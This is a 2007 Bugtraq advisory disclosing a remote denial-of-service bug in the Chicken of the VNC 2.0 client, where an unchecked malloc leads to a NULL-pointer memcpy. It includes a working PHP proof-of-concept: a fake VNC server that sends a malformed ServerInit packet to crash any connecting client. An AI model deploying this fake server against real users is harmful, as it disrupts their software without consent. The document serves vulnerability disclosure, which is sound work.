bugtraq - Chicken of the VNC 2.0 remote DoS

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Date: 2 Feb 2007 14:50:05 -0000
From: poplix@...uasia.org
To: bugtraq@...urityfocus.com
Subject: Chicken of the VNC 2.0 remote DoS

hi,
i wish to inform you that cotv 2.0 (a vnc client for maxosx) available at http://sourceforge.net/projects/cotvnc/ is prone to a remotely exploitable denial of service vulnerability because it fails to validate the content of ServerInit packets.
A ServerInit packet contains the server's computer name and its size in the following format:
[...]<computer-name-size><computer-name>
where:	
computer-name-size is 4bytes interpreted as unsigned int rapresentig the size in bytes of the computer name
and
computer-name is a variable size array of bytes rapresentig the computer name

when cotv recives a ServerInit packet, it first allocates a buffer by passing computer-name-size to malloc() and then it copies computer-name to the newly allocated memory. 
The problem is that cotv doesn't validate the pointer returned by malloc() so it's possible that a NULL-pointer will be used as the first parameter of memcpy() causing the program to crash.

a proof-of-concept is attached, run that php script and connect cotv to it with a blank password (disable vnc auth)

hope it helps,
cheers
-poplix

# BOF
<?
$port = "5900";

$BadServerInit=
"\x04\x00".					// fb-width
"\x03\x00".					// fb-hight
"\x20".						// bits per pixel
"\x18".						// depth
"\x00".						// big-endian flag
"\x01".						// true-color flag
"\x00\xff\x00\xff\x00\xff". // r-g-b max
"\x10\x08\x00".				// r-g-b shift
"\x00\x00\x00". 			// padding
"\xff\xff\xff\xff".			// computer-name size
"DIE_PLZ"; 					// computer-name

$ser = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_set_option($ser,SOL_SOCKET,SO_REUSEADDR,1);
socket_bind($ser,"0.0.0.0", $port);

socket_listen($ser, 5);

print "this fake vnc server will crash cotv2.0 (http://sourceforge.net/projects/cotvnc/) due to a NULL-pointer dereference
02-02-2007   poplix [@] papuasia.org
listening on $port ...\n";

$cotv = socket_accept($ser);
print "client connected\n";

socket_write($cotv, "RFB 00 3.008\n");
while($i=socket_read($cotv, 1024))
	if(substr($i,0,6) == "RFB 00") break;

print "protocol has been negotiated\n";

socket_write($cotv, "\x00\x00\x00\x01");
while($i=socket_read($cotv, 1024)) 
	if(ord($i[0])==0 || ord($i[0])==1)break;

print "sending expl...\n";

socket_write($cotv, $BadServerInit);

socket_close($cotv);

socket_close($ser);

print "done\n";
?>
# EOF